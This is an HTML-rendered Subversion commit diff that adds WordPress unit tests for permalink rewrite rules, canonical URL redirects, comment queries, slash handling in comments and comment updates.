<div class="addfile"><h4>Added: trunk/tests/tests/canonical/permalinkFormats.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/canonical/permalinkFormats.php                         (rev 0)
+++ trunk/tests/tests/canonical/permalinkFormats.php    2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,80 @@
</span><ins>+<?php
+
+/**
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical_PermalinkFormat extends WP_UnitTestCase {
+
+       /**
+        * @ticket 21167
+        */
+       public function test_dotted_formats() {
+               global $wp_rewrite;
+
+               // Create a sample post
+               $cat_id = $this->factory->term->create( array(
+                       'name'     => 'permalink-test',
+                       'taxonomy' => 'category'
+               ) );
+               $user_id = $this->factory->user->create( array(
+                       'role'       => 'editor',
+                       'user_login' => 'permalink_user',
+               ) );
+               $post_id = $this->factory->post->create( array(
+                       'post_title' => 'lorem-ipsum',
+                       'post_date'  => '2012-08-02 14:15:05',
+                       'post_author' => $user_id,
+                       'category'    => $cat_id
+               ) );
+               wp_set_post_categories( $post_id, array( $cat_id ) );
+
+               // Sample permalinks
+               $tests = array(
+                       '/%postname%.%post_id%/ ' => array(
+                               'regex' => '([^/]+)\.([0-9]+)(/[0-9]+)?/?$',
+                               'url'   => 'index.php?name=$1&p=$2&page=$3'
+                       ),
+                       '/%year%.%monthnum%.%postname%/' => array(
+                               'regex' => '([0-9]{4})\.([0-9]{1,2})\.([^/]+)(/[0-9]+)?/?$',
+                               'url'   => 'index.php?year=$1&monthnum=$2&name=$3&page=$4'
+                       ),
+                       '/%post_id%.%postname%/' => array(
+                               'regex' => '([0-9]+)\.([^/]+)(/[0-9]+)?/?$',
+                               'url'   => 'index.php?p=$1&name=$2&page=$3'
+                       ),
+                       '/%postname%.%year%/' => array(
+                               'regex' => '([^/]+)\.([0-9]{4})(/[0-9]+)?/?$',
+                               'url'   => 'index.php?name=$1&year=$2&page=$3'
+                       ),
+                       '/$%postname%$/' => array(
+                               'regex' => '\$([^/]+)\$(/[0-9]+)?/?$',
+                               'url'   => 'index.php?name=$1&page=$2'
+                       ),
+                       '%year%.+?%monthnum%.+?%day%.+?%hour%.+?%minute%.+?%second%.+?%post_id%.+?%postname%.+?%category%.+?%author%.+?' => array(
+                               'regex' => '([0-9]{4})\.\+\?([0-9]{1,2})\.\+\?([0-9]{1,2})\.\+\?([0-9]{1,2})\.\+\?([0-9]{1,2})\.\+\?([0-9]{1,2})\.\+\?([0-9]+)\.\+\?([^/]+)\.\+\?%category%\.\+\?([^/]+)\.\+\?(/[0-9]+)?/?$',
+                               'url'   => 'index.php?year=$1&monthnum=$2&day=$3&hour=$4&minute=$5&second=$6&p=$7&name=$8&%category%$9&author_name=$10&page=$11'
+                       ),
+               );
+
+               // Test permalinks
+               foreach ( $tests as $permalink_format => $expected ) {
+                       update_option( 'permalink_structure', $permalink_format );
+
+                       // Get the rewrite rules
+                       $rules = $wp_rewrite->generate_rewrite_rules( get_option( 'permalink_structure' ), EP_PERMALINK, false, false, false, false );
+
+                       // Filter out only the post rewrite rule
+                       foreach ( $rules as $regex => $url ) {
+                               if ( false === strpos( $url, 'attachment=$' ) && false === strpos( $url, 'tb=' ) && false === strpos( $url, 'cpage=$' ) ) {
+                                       break;
+                               }
+                       }
+
+                       // Test that expected === actual
+                       $this->assertEquals( $regex, $expected['regex'], "Problem with permalink format: $permalink_format" );
+                       $this->assertEquals( $url, $expected['url'], "Problem with permalink format: $permalink_format" );
+               }
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscanonicalphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/canonical.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/canonical.php                          (rev 0)
+++ trunk/tests/tests/canonical.php     2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,274 @@
</span><ins>+<?php
+/**
+ * Tests Canonical redirections.
+ *
+ * In the process of doing so, it also tests WP, WP_Rewrite and WP_Query, A fail here may show a bug in any one of these areas.
+ *
+ * @group canonical
+ * @group rewrite
+ * @group query
+ */
+class Tests_Canonical extends WP_UnitTestCase {
+
+       // This can be defined in a subclass of this class which contains it's own data() method, those tests will be run against the specified permastruct
+       var $structure = '/%year%/%monthnum%/%day%/%postname%/';
+
+       var $old_current_user;
+       var $author_id;
+       var $post_ids;
+       var $term_ids;
+
+       function setUp() {
+               parent::setUp();
+
+               update_option( 'comments_per_page', 5 );
+               update_option( 'posts_per_page', 5 );
+
+               update_option( 'permalink_structure', $this->structure );
+               create_initial_taxonomies();
+               $GLOBALS['wp_rewrite']->init();
+               flush_rewrite_rules();
+
+               $this->old_current_user = get_current_user_id();
+               $this->author_id = $this->factory->user->create( array( 'user_login' => 'canonical-author' ) );
+               wp_set_current_user( $this->author_id );
+
+               // Already created by install defaults:
+               // $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'uncategorized' ) );
+
+               $this->term_ids = array();
+
+               $this->factory->post->create( array( 'import_id' => 587, 'post_title' => 'post-format-test-audio', 'post_date' => '2008-06-02 00:00:00' ) );
+               $post_id = $this->factory->post->create( array( 'post_title' => 'post-format-test-gallery', 'post_date' => '2008-06-10 00:00:00' ) );
+               $this->factory->post->create( array( 'import_id' => 611, 'post_type' => 'attachment', 'post_title' => 'canola2', 'post_parent' => $post_id ) );
+
+               $this->factory->post->create( array(
+                       'post_title' => 'images-test',
+                       'post_date' => '2008-09-03 00:00:00',
+                       'post_content' => 'Page 1 <!--nextpage--> Page 2 <!--nextpage--> Page 3'
+               ) );
+
+               $post_id = $this->factory->post->create( array( 'import_id' => 149, 'post_title' => 'comment-test', 'post_date' => '2008-03-03 00:00:00' ) );
+               $this->factory->comment->create_post_comments( $post_id, 15 );
+
+               $this->factory->post->create( array( 'post_date' => '2008-09-05 00:00:00' ) );
+
+               $this->factory->post->create( array( 'import_id' => 123 ) );
+               $this->factory->post->create( array( 'import_id' => 1 ) );
+               $this->factory->post->create( array( 'import_id' => 358 ) );
+
+               $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'sample-page' ) );
+               $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'about' ) );
+               $post_id = $this->factory->post->create( array( 'post_type' => 'page', 'post_title' => 'parent-page' ) );
+               $this->factory->post->create(
+                       array( 'import_id' => 144, 'post_type' => 'page', 'post_title' => 'child-page-1', 'post_parent' => $post_id,
+               ) );
+
+               $this->term_ids['/category/parent/'] = $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'parent' ) );
+               $this->term_ids['/category/parent/child-1/'] = $this->factory->term->create( array(
+                       'taxonomy' => 'category', 'name' => 'child-1', 'parent' => $this->term_ids['/category/parent/'],
+               ) );
+               $this->term_ids['/category/parent/child-1/child-2/'] = $this->factory->term->create( array(
+                       'taxonomy' => 'category', 'name' => 'child-2', 'parent' => $this->term_ids['/category/parent/child-1/'],
+               ) );
+
+               $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-a' ) );
+               $this->factory->term->create( array( 'taxonomy' => 'category', 'name' => 'cat-b' ) );
+
+               $this->factory->term->create( array( 'name' => 'post-formats' ) );
+       }
+
+       function tearDown() {
+               parent::tearDown();
+               wp_set_current_user( $this->old_current_user );
+
+               $GLOBALS['wp_rewrite']->init();
+       }
+
+       // URL's are relative to the site "front", ie. /category/uncategorized/ instead of http://site.../category..
+       // Return url's are full url's with the prepended home.
+       function get_canonical($test_url) {
+               $test_url = home_url( $test_url );
+
+               $can_url = redirect_canonical( $test_url, false );
+               if ( ! $can_url )
+                       return $test_url; // No redirect will take place for this request
+
+               return $can_url;
+       }
+
+       /**
+        * @dataProvider data
+        */
+       function test($test_url, $expected, $ticket = 0) {
+               if ( $ticket )
+                       $this->knownWPBug( $ticket );
+
+               $ticket_ref = ($ticket > 0) ? 'Ticket #' . $ticket : null;
+
+               if ( is_string($expected) )
+                       $expected = array('url' => $expected);
+               elseif ( is_array($expected) && !isset($expected['url']) && !isset($expected['qv']) )
+                       $expected = array( 'qv' => $expected );
+
+               if ( !isset($expected['url']) && !isset($expected['qv']) )
+                       $this->markTestSkipped('No valid expected output was provided');
+
+               if ( false !== strpos( $test_url, '%d' ) ) {
+                       if ( false !== strpos( $test_url, '/?author=%d' ) )
+                               $test_url = sprintf( $test_url, $this->author_id );
+                       if ( false !== strpos( $test_url, '?cat=%d' ) )
+                               $test_url = sprintf( $test_url, $this->term_ids[ $expected['url'] ] );
+               }
+
+               $this->go_to( home_url( $test_url ) );
+
+               // Does the redirect match what's expected?
+               $can_url = $this->get_canonical( $test_url );
+               $parsed_can_url = parse_url($can_url);
+
+               // Just test the Path and Query if present
+               if ( isset($expected['url']) )
+                       $this->assertEquals( $expected['url'], $parsed_can_url['path'] . (!empty($parsed_can_url['query']) ? '?' . $parsed_can_url['query'] : ''), $ticket_ref );
+
+               if ( ! isset($expected['qv']) )
+                       return;
+
+               // "make" that the request and check the query is correct
+               $this->go_to( $can_url );
+
+               // Are all query vars accounted for, And correct?
+               global $wp;
+
+               $query_vars = array_diff($wp->query_vars, $wp->extra_query_vars);
+               if ( !empty($parsed_can_url['query']) ) {
+                       parse_str($parsed_can_url['query'], $_qv);
+
+                       // $_qv should not contain any elements which are set in $query_vars already (ie. $_GET vars should not be present in the Rewrite)
+                       $this->assertEquals( array(), array_intersect( $query_vars, $_qv ), 'Query vars are duplicated from the Rewrite into $_GET; ' . $ticket_ref );
+
+                       $query_vars = array_merge($query_vars, $_qv);
+               }
+
+               $this->assertEquals( $expected['qv'], $query_vars );
+       }
+
+       function data() {
+               /* Data format:
+                * [0]: $test_url,
+                * [1]: expected results: Any of the following can be used
+                *      array( 'url': expected redirection location, 'qv': expected query vars to be set via the rewrite AND $_GET );
+                *      array( expected query vars to be set, same as 'qv' above )
+                *      (string) expected redirect location
+                * [2]: (optional) The ticket the test refers to, Can be skipped if unknown.
+                */
+
+               // Please Note: A few test cases are commented out below, Look at the test case following it, in most cases it's simple showing 2 options for the "proper" redirect.
+               return array(
+                       // Categories
+
+                       array( '?cat=%d', '/category/parent/', 15256 ),
+                       array( '?cat=%d', '/category/parent/child-1/', 15256 ),
+                       array( '?cat=%d', '/category/parent/child-1/child-2/' ), // no children
+                       array( '/category/uncategorized/', array( 'url' => '/category/uncategorized/', 'qv' => array( 'category_name' => 'uncategorized' ) ) ),
+                       array( '/category/uncategorized/page/2/', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ) ),
+                       array( '/category/uncategorized/?paged=2', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ) ),
+                       array( '/category/uncategorized/?paged=2&category_name=uncategorized', array( 'url' => '/category/uncategorized/page/2/', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2) ), 17174 ),
+                       array( '/category/child-1/', '/category/parent/child-1/', 18734 ),
+                       array( '/category/foo/child-1/', '/category/parent/child-1/', 18734 ),
+
+                       // Categories & Intersections with other vars
+                       array( '/category/uncategorized/?tag=post-formats', array( 'url' => '/category/uncategorized/?tag=post-formats', 'qv' => array('category_name' => 'uncategorized', 'tag' => 'post-formats') ) ),
+                       array( '/?category_name=cat-a,cat-b', array( 'url' => '/?category_name=cat-a,cat-b', 'qv' => array( 'category_name' => 'cat-a,cat-b' ) ) ),
+
+                       // Taxonomies with extra Query Vars
+                       array( '/category/cat-a/page/1/?test=one%20two', '/category/cat-a/?test=one%20two', 18086), // Extra query vars should stay encoded
+
+                       // Categories with Dates
+                       array( '/category/uncategorized/?paged=2&year=2008', array( 'url' => '/category/uncategorized/page/2/?year=2008', 'qv' => array( 'category_name' => 'uncategorized', 'paged' => 2, 'year' => 2008) ), 17661 ),
+//                     array( '/2008/04/?cat=1', array( 'url' => '/2008/04/?cat=1', 'qv' => array('cat' => '1', 'year' => '2008', 'monthnum' => '04' ) ), 17661 ),
+                       array( '/2008/04/?cat=1', array( 'url' => '/category/uncategorized/?year=2008&monthnum=04', 'qv' => array('category_name' => 'uncategorized', 'year' => '2008', 'monthnum' => '04' ) ), 17661 ),
+//                     array( '/2008/?category_name=cat-a', array( 'url' => '/2008/?category_name=cat-a', 'qv' => array('category_name' => 'cat-a', 'year' => '2008' ) ) ),
+                       array( '/2008/?category_name=cat-a', array( 'url' => '/category/cat-a/?year=2008', 'qv' => array('category_name' => 'cat-a', 'year' => '2008' ) ), 20386 ),
+//                     array( '/category/uncategorized/?year=2008', array( 'url' => '/2008/?category_name=uncategorized', 'qv' => array('category_name' => 'uncategorized', 'year' => '2008' ) ), 17661 ),
+                       array( '/category/uncategorized/?year=2008', array( 'url' => '/category/uncategorized/?year=2008', 'qv' => array('category_name' => 'uncategorized', 'year' => '2008' ) ), 17661 ),
+
+                       // Pages
+                       array( '/sample%20page/', array( 'url' => '/sample-page/', 'qv' => array('pagename' => 'sample-page', 'page' => '' ) ), 17653 ), // Page rules always set 'page'
+                       array( '/sample------page/', array( 'url' => '/sample-page/', 'qv' => array('pagename' => 'sample-page', 'page' => '' ) ), 14773 ),
+                       array( '/child-page-1/', '/parent-page/child-page-1/'),
+                       array( '/?page_id=144', '/parent-page/child-page-1/'),
+                       array( '/abo', '/about/' ),
+
+                       // Posts
+                       array( '?p=587', '/2008/06/02/post-format-test-audio/'),
+                       array( '/?name=images-test', '/2008/09/03/images-test/'),
+                       // Incomplete slug should resolve and remove the ?name= parameter
+                       array( '/?name=images-te', '/2008/09/03/images-test/', 20374),
+                       // Page slug should resolve to post slug and remove the ?pagename= parameter
+                       array( '/?pagename=images-test', '/2008/09/03/images-test/', 20374),
+
+                       array( '/2008/06/02/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+                       array( '/2008/06/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+                       array( '/2008/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+                       array( '/2010/post-format-test-au/', '/2008/06/02/post-format-test-audio/'), // A Year the post is not in
+                       array( '/post-format-test-au/', '/2008/06/02/post-format-test-audio/'),
+
+                       array( '/2008/09/03/images-test/3/', array( 'url' => '/2008/09/03/images-test/3/', 'qv' => array( 'name' => 'images-test', 'year' => '2008', 'monthnum' => '09', 'day' => '03', 'page' => '/3' ) ) ), // page = /3 ?!
+                       array( '/2008/09/03/images-test/8/', '/2008/09/03/images-test/4/', 11694 ), // post with 4 pages
+                       array( '/2008/09/03/images-test/?page=3', '/2008/09/03/images-test/3/' ),
+                       array( '/2008/09/03/images-te?page=3', '/2008/09/03/images-test/3/' ),
+
+                       // Comments
+                       array( '/2008/03/03/comment-test/?cpage=2', '/2008/03/03/comment-test/comment-page-2/', 20388 ),
+                       array( '/2008/03/03/comment-test/comment-page-20/', '/2008/03/03/comment-test/comment-page-3/', 20388 ), // there's only 3 pages
+                       array( '/2008/03/03/comment-test/?cpage=30', '/2008/03/03/comment-test/comment-page-3/', 20388 ), // there's only 3 pages
+
+                       // Attachments
+                       array( '/?attachment_id=611', '/2008/06/10/post-format-test-gallery/canola2/' ),
+                       array( '/2008/06/10/post-format-test-gallery/?attachment_id=611', '/2008/06/10/post-format-test-gallery/canola2/' ),
+
+                       // Dates
+                       array( '/?m=2008', '/2008/' ),
+                       array( '/?m=200809', '/2008/09/'),
+                       array( '/?m=20080905', '/2008/09/05/'),
+
+                       array( '/2008/?day=05', '/2008/?day=05'), // no redirect
+                       array( '/2008/09/?day=05', '/2008/09/05/'),
+                       array( '/2008/?monthnum=9', '/2008/09/'),
+
+                       array( '/?year=2008', '/2008/'),
+
+                       // Authors
+                       array( '/?author=%d', '/author/canonical-author/' ),
+//                     array( '/?author=%d&year=2008', '/2008/?author=3'),
+                       array( '/?author=%d&year=2008', '/author/canonical-author/?year=2008', 17661 ),
+//                     array( '/author/canonical-author/?year=2008', '/2008/?author=3'), //Either or, see previous testcase.
+                       array( '/author/canonical-author/?year=2008', '/author/canonical-author/?year=2008', 17661 ),
+
+                       // Feeds
+                       array( '/?feed=atom', '/feed/atom/' ),
+                       array( '/?feed=rss2', '/feed/' ),
+                       array( '/?feed=comments-rss2', '/comments/feed/'),
+                       array( '/?feed=comments-atom', '/comments/feed/atom/'),
+
+                       // Feeds (per-post)
+                       array( '/2008/03/03/comment-test/?feed=comments-atom', '/2008/03/03/comment-test/feed/atom/'),
+                       array( '/?p=149&feed=comments-atom', '/2008/03/03/comment-test/feed/atom/'),
+                       array( '/2008/03/03/comment-test/?feed=comments-atom', '/2008/03/03/comment-test/feed/atom/' ),
+
+                       // Index
+                       array( '/?paged=1', '/' ),
+                       array( '/page/1/', '/' ),
+                       array( '/page1/', '/' ),
+                       array( '/?paged=2', '/page/2/' ),
+                       array( '/page2/', '/page/2/' ),
+
+                       // Misc
+                       array( '/2008%20', '/2008' ),
+                       array( '//2008////', '/2008/' ),
+
+                       // Todo: Endpoints (feeds, trackbacks, etc), More fuzzed mixed query variables, comment paging, Home page (Static)
+               );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscommentqueryphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/comment/query.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/comment/query.php                              (rev 0)
+++ trunk/tests/tests/comment/query.php 2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,156 @@
</span><ins>+<?php
+
+// Test the output of Comment Querying functions
+
+/**
+ * @group comment
+ */
+class Tests_Comment_Query extends WP_UnitTestCase {
+       var $comment_id;
+
+       function setUp() {
+               parent::setUp();
+       }
+
+       /**
+        * @ticket 21101
+        */
+       function test_get_comment_comment_approved_0() {
+               $comment_id = $this->factory->comment->create();
+               $comments_approved_0 = get_comments( array( 'status' => 'hold' ) );
+               $this->assertEquals( 0, count( $comments_approved_0 ) );
+       }
+
+       /**
+        * @ticket 21101
+        */
+       function test_get_comment_comment_approved_1() {
+               $comment_id = $this->factory->comment->create();
+               $comments_approved_1 = get_comments( array( 'status' => 'approve' ) );
+
+               $this->assertEquals( 1, count( $comments_approved_1 ) );
+               $result = $comments_approved_1[0];
+
+               $this->assertEquals( $comment_id, $result->comment_ID );
+       }
+
+       function test_get_comments_for_post() {
+               $post_id = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id, 10 );
+               $comments = get_comments( array( 'post_id' => $post_id ) );
+               $this->assertEquals( 10, count( $comments ) );
+               foreach ( $comments as $comment ) {
+                       $this->assertEquals( $post_id, $comment->comment_post_ID );
+               }
+
+               $post_id2 = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id2, 10 );
+               $comments = get_comments( array( 'post_id' => $post_id2 ) );
+               $this->assertEquals( 10, count( $comments ) );
+               foreach ( $comments as $comment ) {
+                       $this->assertEquals( $post_id2, $comment->comment_post_ID );
+               }
+
+               $post_id3 = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id3, 10, array( 'comment_approved' => '0' ) );
+               $comments = get_comments( array( 'post_id' => $post_id3 ) );
+               $this->assertEquals( 10, count( $comments ) );
+               foreach ( $comments as $comment ) {
+                       $this->assertEquals( $post_id3, $comment->comment_post_ID );
+               }
+
+               $comments = get_comments( array( 'post_id' => $post_id3, 'status' => 'hold' ) );
+               $this->assertEquals( 10, count( $comments ) );
+               foreach ( $comments as $comment ) {
+                       $this->assertEquals( $post_id3, $comment->comment_post_ID );
+               }
+
+               $comments = get_comments( array( 'post_id' => $post_id3, 'status' => 'approve' ) );
+               $this->assertEquals( 0, count( $comments ) );
+
+               $this->factory->comment->create_post_comments( $post_id3, 10, array( 'comment_approved' => '1' ) );
+               $comments = get_comments( array( 'post_id' => $post_id3 ) );
+               $this->assertEquals( 20, count( $comments ) );
+               foreach ( $comments as $comment ) {
+                       $this->assertEquals( $post_id3, $comment->comment_post_ID );
+               }
+       }
+
+       /**
+        * @ticket 21003
+        */
+       function test_orderby_meta() {
+               $comment_id = $this->factory->comment->create();
+               $comment_id2 = $this->factory->comment->create();
+               $comment_id3 = $this->factory->comment->create();
+
+               add_comment_meta( $comment_id, 'key', 'value1', true );
+               add_comment_meta( $comment_id, 'key1', 'value1', true );
+               add_comment_meta( $comment_id, 'key3', 'value3', true );
+               add_comment_meta( $comment_id2, 'key', 'value2', true );
+               add_comment_meta( $comment_id2, 'key2', 'value2', true );
+               add_comment_meta( $comment_id3, 'key3', 'value3', true );
+
+               $comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'key' ) ) );
+               $this->assertEquals( 2, count( $comments ) );
+               $this->assertEquals( $comment_id2, $comments[0]->comment_ID );
+               $this->assertEquals( $comment_id, $comments[1]->comment_ID );
+
+               $comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'meta_value' ) ) );
+               $this->assertEquals( 2, count( $comments ) );
+               $this->assertEquals( $comment_id2, $comments[0]->comment_ID );
+               $this->assertEquals( $comment_id, $comments[1]->comment_ID );
+
+               $comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'key' ), 'order' => 'ASC' ) );
+               $this->assertEquals( 2, count( $comments ) );
+               $this->assertEquals( $comment_id, $comments[0]->comment_ID );
+               $this->assertEquals( $comment_id2, $comments[1]->comment_ID );
+
+               $comments = get_comments( array( 'meta_key' => 'key', 'orderby' => array( 'meta_value' ), 'order' => 'ASC' ) );
+               $this->assertEquals( 2, count( $comments ) );
+               $this->assertEquals( $comment_id, $comments[0]->comment_ID );
+               $this->assertEquals( $comment_id2, $comments[1]->comment_ID );
+
+               $comments = get_comments( array( 'meta_value' => 'value3', 'orderby' => array( 'key' ) ) );
+               $this->assertEquals( 2, count( $comments ) );
+               $this->assertEquals( $comment_id, $comments[0]->comment_ID );
+               $this->assertEquals( $comment_id3, $comments[1]->comment_ID );
+
+               $comments = get_comments( array( 'meta_value' => 'value3', 'orderby' => array( 'meta_value' ) ) );
+               $this->assertEquals( 2, count( $comments ) );
+               $this->assertEquals( $comment_id, $comments[0]->comment_ID );
+               $this->assertEquals( $comment_id3, $comments[1]->comment_ID );
+
+               // value1 is present on two different keys for $comment_id yet we should get only one instance
+               // of that comment in the results
+               $comments = get_comments( array( 'meta_value' => 'value1', 'orderby' => array( 'key' ) ) );
+               $this->assertEquals( 1, count( $comments ) );
+
+               $comments = get_comments( array( 'meta_value' => 'value1', 'orderby' => array( 'meta_value' ) ) );
+               $this->assertEquals( 1, count( $comments ) );
+       }
+
+       function test_get_status() {
+               $post_id = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id, 10 );
+
+               $post_id2 = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id2, 10 );
+
+               $post_id3 = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id3, 10, array( 'comment_approved' => '0' ) );
+
+               $post_id4 = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id4, 10, array( 'comment_approved' => 'trash' ) );
+
+               $post_id5 = $this->factory->post->create();
+               $this->factory->comment->create_post_comments( $post_id5, 10, array( 'comment_approved' => 'spam' ) );
+
+               $this->assertEquals( 30, count( get_comments() ) );
+               $this->assertEquals( 30, count( get_comments( array( 'status' => 'all' ) ) ) );
+               $this->assertEquals( 20, count( get_comments( array( 'status' => 'approve' ) ) ) );
+               $this->assertEquals( 10, count( get_comments( array( 'status' => 'hold' ) ) ) );
+               $this->assertEquals( 10, count( get_comments( array( 'status' => 'trash' ) ) ) );
+               $this->assertEquals( 10, count( get_comments( array( 'status' => 'spam' ) ) ) );
+       }
+}
</ins></span></pre></div>
<a id="trunkteststestscommentslashesphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/comment/slashes.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/comment/slashes.php                            (rev 0)
+++ trunk/tests/tests/comment/slashes.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,162 @@
</span><ins>+<?php
+
+/**
+ * @group comment
+ * @group slashes
+ * @ticket 21767
+ */
+class Tests_Comment_Slashes extends WP_UnitTestCase {
+       function setUp() {
+               parent::setUp();
+               // we need an admin user to bypass comment flood protection
+               $this->author_id = $this->factory->user->create( array( 'role' => 'administrator' ) );
+               $this->old_current_user = get_current_user_id();
+               wp_set_current_user( $this->author_id );
+
+               // it is important to test with both even and odd numbered slashes as
+               // kses does a strip-then-add slashes in some of it's function calls
+               $this->slash_1 = 'String with 1 slash \\';
+               $this->slash_2 = 'String with 2 slashes \\\\';
+               $this->slash_3 = 'String with 3 slashes \\\\\\';
+               $this->slash_4 = 'String with 4 slashes \\\\\\\\';
+               $this->slash_5 = 'String with 5 slashes \\\\\\\\\\';
+               $this->slash_6 = 'String with 6 slashes \\\\\\\\\\\\';
+               $this->slash_7 = 'String with 7 slashes \\\\\\\\\\\\\\';
+       }
+
+       function tearDown() {
+               wp_set_current_user( $this->old_current_user );
+               parent::tearDown();
+       }
+
+       /**
+        * Tests the extended model function that expects slashed data
+        *
+        */
+       function test_wp_new_comment() {
+               $post_id = $this->factory->post->create();
+
+               // not testing comment_author_email or comment_author_url
+               // as slashes are not permitted in that data
+               $data = array(
+                       'comment_post_ID' => $post_id,
+                       'comment_author' => $this->slash_1,
+                       'comment_content' => $this->slash_7,
+               );
+               $id = wp_new_comment( $data );
+
+               $comment = get_comment($id);
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+               $this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+               $data = array(
+                       'comment_post_ID' => $post_id,
+                       'comment_author' => $this->slash_2,
+                       'comment_content' => $this->slash_4,
+               );
+               $id = wp_new_comment( $data );
+
+               $comment = get_comment($id);
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+       }
+
+       /**
+        * Tests the controller function that expects slashed data
+        *
+        */
+       function test_edit_comment() {
+               $post_id = $this->factory->post->create();
+               $comment_id = $this->factory->comment->create(array(
+                       'comment_post_ID' => $post_id
+               ));
+
+               // not testing comment_author_email or comment_author_url
+               // as slashes are not permitted in that data
+               $_POST = array();
+               $_POST['comment_ID'] = $comment_id;
+               $_POST['newcomment_author'] = $this->slash_1;
+               $_POST['content'] = $this->slash_7;
+               $_POST = add_magic_quotes( $_POST );
+
+               edit_comment();
+               $comment = get_comment( $comment_id );
+
+               $this->assertEquals( $this->slash_1, $comment->comment_author );
+               $this->assertEquals( $this->slash_7, $comment->comment_content );
+
+               $_POST = array();
+               $_POST['comment_ID'] = $comment_id;
+               $_POST['newcomment_author'] = $this->slash_2;
+               $_POST['content'] = $this->slash_4;
+               $_POST = add_magic_quotes( $_POST );
+
+               edit_comment();
+               $comment = get_comment( $comment_id );
+
+               $this->assertEquals( $this->slash_2, $comment->comment_author );
+               $this->assertEquals( $this->slash_4, $comment->comment_content );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_insert_comment() {
+               $post_id = $this->factory->post->create();
+
+               $comment_id = wp_insert_comment(array(
+                       'comment_post_ID' => $post_id,
+                       'comment_author' => $this->slash_1,
+                       'comment_content' => $this->slash_7,
+               ));
+               $comment = get_comment( $comment_id );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+               $this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+               $comment_id = wp_insert_comment(array(
+                       'comment_post_ID' => $post_id,
+                       'comment_author' => $this->slash_2,
+                       'comment_content' => $this->slash_4,
+               ));
+               $comment = get_comment( $comment_id );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+       }
+
+       /**
+        * Tests the model function that expects slashed data
+        *
+        */
+       function test_wp_update_comment() {
+               $post_id = $this->factory->post->create();
+               $comment_id = $this->factory->comment->create(array(
+                       'comment_post_ID' => $post_id
+               ));
+
+               wp_update_comment(array(
+                       'comment_ID' => $comment_id,
+                       'comment_author' => $this->slash_1,
+                       'comment_content' => $this->slash_7,
+               ));
+               $comment = get_comment( $comment_id );
+
+               $this->assertEquals( wp_unslash( $this->slash_1 ), $comment->comment_author );
+               $this->assertEquals( wp_unslash( $this->slash_7 ), $comment->comment_content );
+
+               wp_update_comment(array(
+                       'comment_ID' => $comment_id,
+                       'comment_author' => $this->slash_2,
+                       'comment_content' => $this->slash_4,
+               ));
+               $comment = get_comment( $comment_id );
+
+               $this->assertEquals( wp_unslash( $this->slash_2 ), $comment->comment_author );
+               $this->assertEquals( wp_unslash( $this->slash_4 ), $comment->comment_content );
+       }
+
+}
</ins></span></pre></div>
<a id="trunkteststestscommentphp"></a>
<div class="addfile"><h4>Added: trunk/tests/tests/comment.php (0 => 25002)</h4>
<pre class="diff"><span>
<span class="info">--- trunk/tests/tests/comment.php                            (rev 0)
+++ trunk/tests/tests/comment.php       2013-08-07 06:38:38 UTC (rev 25002)
</span><span class="lines">@@ -0,0 +1,17 @@
</span><ins>+<?php
+
+/**
+ * @group comment
+ */
+class Tests_Comment extends WP_UnitTestCase {
+       function test_wp_update_comment() {
+               $post = $this->factory->post->create_and_get( array( 'post_title' => 'some-post', 'post_type' => 'post' ) );
+               $comments = $this->factory->comment->create_post_comments( $post->ID, 5 );
+               $result = wp_update_comment( array( 'comment_ID' => $comments[0], 'comment_parent' => $comments[1] ) );
+               $this->assertEquals( 1, $result );
+               $comment = get_comment( $comments[0] );
+               $this->assertEquals( $comments[1], $comment->comment_parent );
+               $result = wp_update_comment( array( 'comment_ID' => $comments[0], 'comment_parent' => $comments[1] ) );
+               $this->assertEquals( 0, $result );
+       }
+}
